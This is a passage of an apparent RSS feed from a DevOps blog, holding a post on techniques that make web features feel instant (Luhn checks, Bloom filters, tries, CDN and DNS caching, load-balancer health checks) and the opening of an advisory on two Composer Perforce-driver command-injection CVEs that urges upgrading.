        <a href="#h3-the-road-to-responsive-intellij-based-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Road to Responsive IntelliJ-Based IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-road-to-responsive-intellij-based-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>TL;DR: This is a technical blog post about our work to improve UI responsiveness in IntelliJ-based IDEs. It’s a multi-year effort to fix several architectural constraints. The project is still ongoing</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/platform/2026/04/road-to-responsive-ides/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents" class="group relative scroll-mt-24">
        <a href="#h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Koog Integration for Spring AI: Smarter Orchestration for Your Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Spring AI is the application-facing integration layer you may already use. Koog is the next layer up when you need agent orchestration. Spring AI already covers the chat model API, chat memory, and ve</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/04/introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How Does It Work So Fast? The Engineering Behind Instant UI Responses]]></title>
      <link>https://devops-daily.com/posts/how-does-it-work-so-fast</link>
      <description><![CDATA[Credit card validation, username checks, autocomplete, URL shorteners - they all feel instant. Here is what is actually happening under the hood in each case.]]></description>
      <pubDate>Wed, 15 Apr 2026 14:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/how-does-it-work-so-fast</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[system-design]]></category><category><![CDATA[algorithms]]></category><category><![CDATA[performance]]></category><category><![CDATA[infrastructure]]></category>
      <content:encoded><![CDATA[<p>You type a 16-digit card number and the form instantly says &quot;Invalid card number.&quot; You start typing a Gmail username and it tells you it is taken before you finish. Google shows search suggestions after two keystrokes.</p>
<p>These interactions feel like magic, but each one uses a specific technique. Some are algorithmic tricks that avoid the database entirely. Others rely on data structures designed for exactly this kind of lookup. A few depend on infrastructure that puts the answer physically closer to you.</p>
<p>Here are eight things that feel instant and the engineering that makes them work.</p>
<hr>
<h2 id="h2-1-credit-card-validation" class="group relative scroll-mt-24">
        <a href="#h2-1-credit-card-validation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Credit Card Validation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-1-credit-card-validation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type a card number and the form rejects it immediately. There are billions of valid card numbers. How does it check that fast?</p>
<p><strong>The answer:</strong> It doesn&#39;t check against a database. Card numbers have a checksum baked into them using the Luhn algorithm.</p>
<p>The algorithm works on the number itself:</p>
<ol>
<li>Starting from the rightmost digit, double every second digit</li>
<li>If doubling produces a number greater than 9, subtract 9</li>
<li>Sum all the digits</li>
<li>If the total is divisible by 10, the number is structurally valid</li>
</ol>
<pre><code>Card number: 4539 1488 0343 6467

Step 1 (double alternating):  8 5 6 9 2 4 16 8 0 3 8 3 12 4 12 7
Step 2 (subtract 9 if &gt;9):   8 5 6 9 2 4 7  8 0 3 8 3 3  4 3  7
Step 3 (sum all):             80
Step 4 (divisible by 10?):    Yes -&gt; valid structure
</code></pre><p>This runs in O(n) where n is 16. No network call, no database query. The check runs entirely in the browser in microseconds.</p>
<p>Card numbers are not random. The first 6 digits identify the issuing bank (the BIN), the next digits are the account number, and the last digit is the Luhn check digit calculated from everything before it. The actual &quot;does this card exist and have funds&quot; check happens later when you submit the payment to the processor.</p>
<hr>
<h2 id="h2-2-username-already-taken" class="group relative scroll-mt-24">
        <a href="#h2-2-username-already-taken" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. "Username Already Taken"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-2-username-already-taken"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> Gmail has billions of accounts. You type a username and it instantly tells you it is taken. How?</p>
<p><strong>The answer:</strong> Bloom filters and in-memory data structures.</p>
<p>A Bloom filter is a probabilistic data structure that can tell you &quot;definitely not in the set&quot; or &quot;probably in the set&quot; using very little memory. For billions of usernames, a Bloom filter might use a few gigabytes of RAM instead of the hundreds of gigabytes a full hash table would need.</p>
<p>The tradeoff: Bloom filters have false positives (it might say &quot;taken&quot; when it is not) but never false negatives (it will never say &quot;available&quot; when the name is taken). For username checks, this is acceptable. If the Bloom filter says &quot;probably taken,&quot; a follow-up database query confirms it.</p>
<p>The typical flow:</p>
<ol>
<li>User types a character (debounced - waits 300ms after the last keystroke)</li>
<li>Client sends the username to an API endpoint</li>
<li>Server checks the Bloom filter: if not in the filter, return &quot;available&quot; immediately</li>
<li>If the filter says &quot;maybe taken,&quot; query the database to confirm</li>
<li>Return the result</li>
</ol>
<p>The Bloom filter check takes nanoseconds. The database fallback only happens for a small percentage of lookups. Combined with debouncing (not sending a request for every single keystroke), the check feels instant.</p>
<hr>
<h2 id="h2-3-google-autocomplete" class="group relative scroll-mt-24">
        <a href="#h2-3-google-autocomplete" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Google Autocomplete
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-3-google-autocomplete"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type two letters and Google shows 10 suggestions. There are trillions of possible queries. How?</p>
<p><strong>The answer:</strong> Trie data structures, pre-computed suggestion lists, and edge caching.</p>
<p>A trie (prefix tree) is a tree where each node represents a character. To find all completions for &quot;ku&quot;, you traverse the tree to the &quot;k&quot; -&gt; &quot;u&quot; node and everything below it is a valid suggestion. This lookup is O(m) where m is the length of the prefix you typed, regardless of how many total entries exist.</p>
<p>But Google does not search through all possible queries live. The suggestions are pre-computed:</p>
<ol>
<li>Google logs aggregate query data (what people search for, how often)</li>
<li>Offline jobs compute the top 10-15 suggestions for every common prefix</li>
<li>These suggestion lists are cached at edge servers worldwide</li>
<li>When you type &quot;ku&quot;, the nearest edge server returns the pre-computed list for that prefix</li>
</ol>
<p>The response comes from a CDN node that might be in the same city as you. The round trip is a few milliseconds. The server does not compute anything - it is a cache lookup.</p>
<p>For rare prefixes that are not pre-computed, the request falls through to a backend that does a real trie lookup, but this covers less than 1% of queries.</p>
<hr>
<h2 id="h2-4-url-shorteners-bitly-tco" class="group relative scroll-mt-24">
        <a href="#h2-4-url-shorteners-bitly-tco" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. URL Shorteners (bit.ly, t.co)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-4-url-shorteners-bitly-tco"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> A short URL like <code>bit.ly/abc123</code> redirects to a full URL in under 50ms. With billions of links, how?</p>
<p><strong>The answer:</strong> Hash table lookup with base62 encoding.</p>
<p>The short code (<code>abc123</code>) is a base62-encoded integer (using a-z, A-Z, 0-9). This maps to a row in a database. The lookup is a primary key query - O(1) in a hash index.</p>
<pre><code>abc123 -&gt; base62 decode -&gt; integer 56800235584
SELECT target_url FROM links WHERE id = 56800235584;
</code></pre><p>Primary key lookups in any database are fast, but URL shorteners add two more layers:</p>
<ol>
<li><p><strong>In-memory cache</strong>: Popular short URLs (which follow a power-law distribution - a small percentage of links get most of the clicks) are cached in Redis or Memcached. Cache hit rate is typically above 90%.</p>
</li>
<li><p><strong>CDN redirect</strong>: The most popular links are served as HTTP 301 redirects directly from CDN edge servers, never hitting the origin database at all.</p>
</li>
</ol>
<p>The result: most redirects complete in under 10ms because the answer is already in memory at a server near you.</p>
<hr>
<h2 id="h2-5-user-is-typing-in-chat-apps" class="group relative scroll-mt-24">
        <a href="#h2-5-user-is-typing-in-chat-apps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. "User Is Typing..." in Chat Apps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-5-user-is-typing-in-chat-apps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> WhatsApp and Slack show &quot;typing...&quot; indicators in real-time. With millions of concurrent conversations, how?</p>
<p><strong>The answer:</strong> WebSocket presence channels with client-side debouncing.</p>
<p>The app does not send a message for every keystroke. Instead:</p>
<ol>
<li>When you start typing, the client sends a single &quot;typing&quot; event over an existing WebSocket connection</li>
<li>The server forwards this to the other participant(s) in the conversation</li>
<li>The client keeps a local timer. If you stop typing for 3-5 seconds, it sends a &quot;stopped typing&quot; event</li>
<li>If you keep typing, it sends a refresh &quot;still typing&quot; event every few seconds</li>
</ol>
<p>The WebSocket connection is already open (it is the same connection used for receiving messages), so there is no connection overhead. The &quot;typing&quot; event is a few bytes. The server routes it to the other participant&#39;s open WebSocket - no database write, no queue, just in-memory message routing.</p>
<p>For group chats, the server might aggregate typing indicators (&quot;3 people are typing...&quot;) to reduce the number of events sent to each participant.</p>
<hr>
<h2 id="h2-6-cdn-serving-images-globally" class="group relative scroll-mt-24">
        <a href="#h2-6-cdn-serving-images-globally" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. CDN Serving Images Globally
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-6-cdn-serving-images-globally"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> An image hosted on a server in Virginia loads in 50ms for someone in Tokyo. How?</p>
<p><strong>The answer:</strong> Anycast routing and edge caching.</p>
<p>CDNs (Cloudflare, CloudFront, Fastly) have servers in hundreds of locations worldwide - called Points of Presence (PoPs). When you request an image:</p>
<ol>
<li>DNS resolves the CDN domain using anycast routing, which directs you to the nearest PoP based on network topology</li>
<li>The PoP checks its local cache. If the image is there, it returns it immediately (cache hit)</li>
<li>If not cached, the PoP fetches it from the origin server, caches it, and returns it</li>
<li>Subsequent requests from anyone near that PoP get the cached version</li>
</ol>
<p>The key: after the first request, the image is served from a server that might be 10ms away instead of 200ms away. Popular images are cached at every PoP worldwide.</p>
<p>CDNs also use tiered caching: regional PoPs cache more content than edge PoPs, and edge PoPs pull from regional caches instead of hitting the origin. This reduces origin load to a fraction of total traffic.</p>
<hr>
<h2 id="h2-7-dns-resolution" class="group relative scroll-mt-24">
        <a href="#h2-7-dns-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. DNS Resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-7-dns-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type a domain name and the browser resolves it to an IP in under 5ms. There are hundreds of millions of domains. How?</p>
<p><strong>The answer:</strong> Aggressive caching at every layer.</p>
<p>DNS resolution involves multiple lookups (root servers, TLD servers, authoritative servers), but you almost never do the full chain:</p>
<ol>
<li><p><strong>Browser cache</strong>: Your browser caches DNS results. If you visited the site in the last few minutes, the IP is already known. Zero network calls.</p>
</li>
<li><p><strong>OS cache</strong>: The operating system maintains its own DNS cache. If any application on your machine resolved this domain recently, it is cached here.</p>
</li>
<li><p><strong>Router cache</strong>: Your home router often caches DNS responses.</p>
</li>
<li><p><strong>ISP resolver cache</strong>: Your ISP&#39;s DNS resolver (or Google&#39;s 8.8.8.8, or Cloudflare&#39;s 1.1.1.1) caches results for their TTL. Since millions of users share the same resolver, popular domains are almost always cached.</p>
</li>
</ol>
<p>For a popular domain like google.com, the full resolution chain has not been needed for hours or days. Your ISP&#39;s resolver already has the answer. The lookup is a single UDP packet to a server within a few milliseconds of you.</p>
<p>For domains that are not in any cache, the full resolution takes 50-200ms. But this only happens once per TTL period (typically 5 minutes to 24 hours).</p>
<hr>
<h2 id="h2-8-load-balancer-health-checks" class="group relative scroll-mt-24">
        <a href="#h2-8-load-balancer-health-checks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          8. Load Balancer Health Checks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-8-load-balancer-health-checks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> A server goes down and traffic stops going to it within seconds. How does the load balancer know?</p>
<p><strong>The answer:</strong> Active health checks with fast failure detection.</p>
<p>Load balancers (HAProxy, NGINX, AWS ALB) continuously probe backend servers:</p>
<ol>
<li><p><strong>TCP checks</strong>: Send a SYN packet, wait for SYN-ACK. Takes microseconds. Verifies the server is reachable and the port is open.</p>
</li>
<li><p><strong>HTTP checks</strong>: Send a GET to a <code>/health</code> endpoint. The response must return 200 within a timeout (typically 2-5 seconds). This verifies the application is actually running, not just the OS.</p>
</li>
<li><p><strong>Failure thresholds</strong>: Most load balancers require 2-3 consecutive failed checks before marking a server as down. This prevents false positives from network blips.</p>
</li>
</ol>
<pre><code># HAProxy health check configuration
server backend1 10.0.1.10:8080 check inter 2s fall 3 rise 2
# Check every 2 seconds
# Mark down after 3 failures (6 seconds worst case)
# Mark up after 2 successes
</code></pre><p>With checks every 2 seconds and a threshold of 3 failures, a dead server is removed from the pool within 6 seconds. Some setups use 1-second intervals for even faster detection.</p>
<p>Modern load balancers also support passive health checks: if real user requests to a backend start failing, the server is removed immediately without waiting for the next active check cycle.</p>
<hr>
<h2 id="h2-the-pattern" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Pattern
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Looking across all eight examples, three techniques show up repeatedly:</p>
<p><strong>Avoid the expensive operation entirely.</strong> Credit cards use a checksum instead of a database lookup. Bloom filters answer &quot;no&quot; without touching the database. URL shorteners serve from cache instead of querying storage.</p>
<p><strong>Pre-compute the answer.</strong> Google autocomplete pre-builds suggestion lists. CDNs pre-position content at edge servers. DNS caches results at every layer.</p>
<p><strong>Put the answer closer to the user.</strong> CDN edge servers, ISP DNS resolvers, browser caches - the fastest response is one that never crosses the internet.</p>
<p>The next time something feels instant, ask yourself: is it avoiding work, is the answer pre-computed, or is it just really close?</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Two Composer Command Injection Flaws Let Attackers Run Arbitrary Code - Even Without Perforce]]></title>
      <link>https://devops-daily.com/posts/composer-command-injection-cve-2026</link>
      <description><![CDATA[CVE-2026-40176 and CVE-2026-40261 affect all Composer 2.x versions. A malicious composer.json or crafted package metadata can execute OS commands on your machine. Upgrade to 2.9.6 now.]]></description>
      <pubDate>Tue, 14 Apr 2026 17:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/composer-command-injection-cve-2026</guid>
      <category><![CDATA[Security]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[php]]></category><category><![CDATA[composer]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[cve]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two command injection vulnerabilities in PHP Composer&#39;s Perforce driver were disclosed on April 14, 2026. The worse one (CVE-2026-40261, CVSS 8.8) can be triggered through malicious package metadata from any Composer repository - a supply chain attack that runs OS commands on your machine when you install dependencies. Neither vulnerability requires Perforce to be installed. Upgrade to Composer 2.9.6 or 2.2.27 (LTS) immediately.</p>
<pre><code class="hljs language-bash">composer self-update
</code></pre><hr>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Composer builds shell commands internally when working with Perforce repositories. Two methods in <code>src/Composer/Util/Perforce.php</code> were concatenating user-supplied values directly into those shell commands without escaping them.</p>
<p>If an attacker can control certain fields - a Perforce source reference, port, user, or client value - they can inject arbitrary shell commands that execute on your machine.</p>
<p>The critical detail: <strong>Perforce doesn&#39;t need to be installed</strong>. The shell command is constructed and executed regardless. The injected payload runs before the shell even looks for the <code>p4</code> binary.</p>
<h2 id="h2-two-cves-two-attack-surfaces" class="group relative scroll-mt-24">
        <a href="#h2-two-cves-two-attack-surfaces" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Two CVEs, two attack surfaces
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-two-cves-two-attack-surfaces"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-40261 - Supply chain attack via repository metadata (CVSS 8.8)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the dangerous one. Any package in any Composer repository can declare <code>perforce</code> as a source type with a malicious source reference. When you install or update that package from source, the injected commands execute on your machine.</p>
<p>The attack works through normal dependency installation. You don&#39;t need to use Perforce yourself. You don&#39;t need to do anything unusual. You just need one malicious or compromised package in your dependency tree.</p>
<p><strong>Affected methods</strong>: <code>Perforce::syncCodeBase()</code> and <code>Perforce::generateP4Command()</code></p>
<p><strong>Attack vector</strong>: Network - exploitable through any Composer repository</p>
<p><strong>Affected versions</strong>: Composer &gt;= 2.0, &lt; 2.2.27 and &gt;= 2.3, &lt; 2.9.6</p>
<h3 id="h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-40176 - Local attack via root composer.json (CVSS 7.8)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This one has a narrower attack surface. Composer only loads VCS repository definitions from the root <code>composer.json</code> (the one in your project directory) and your global Composer config. Dependency packages can&#39;t inject repository definitions upward.</p>
<p>The realistic scenario: you clone a malicious repository and run <code>composer install</code>. The crafted Perforce repository definition in <code>composer.json</code> triggers command execution.</p>
<p><strong>Affected method</strong>: <code>Perforce::generateP4Command()</code></p>
<p><strong>Attack vector</strong>: Local - requires a malicious root <code>composer.json</code></p>
<p><strong>Affected versions</strong>: Same as above</p>
<h3 id="h3-side-by-side" class="group relative scroll-mt-24">
        <a href="#h3-side-by-side" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Side by side
        </a>
        <button 
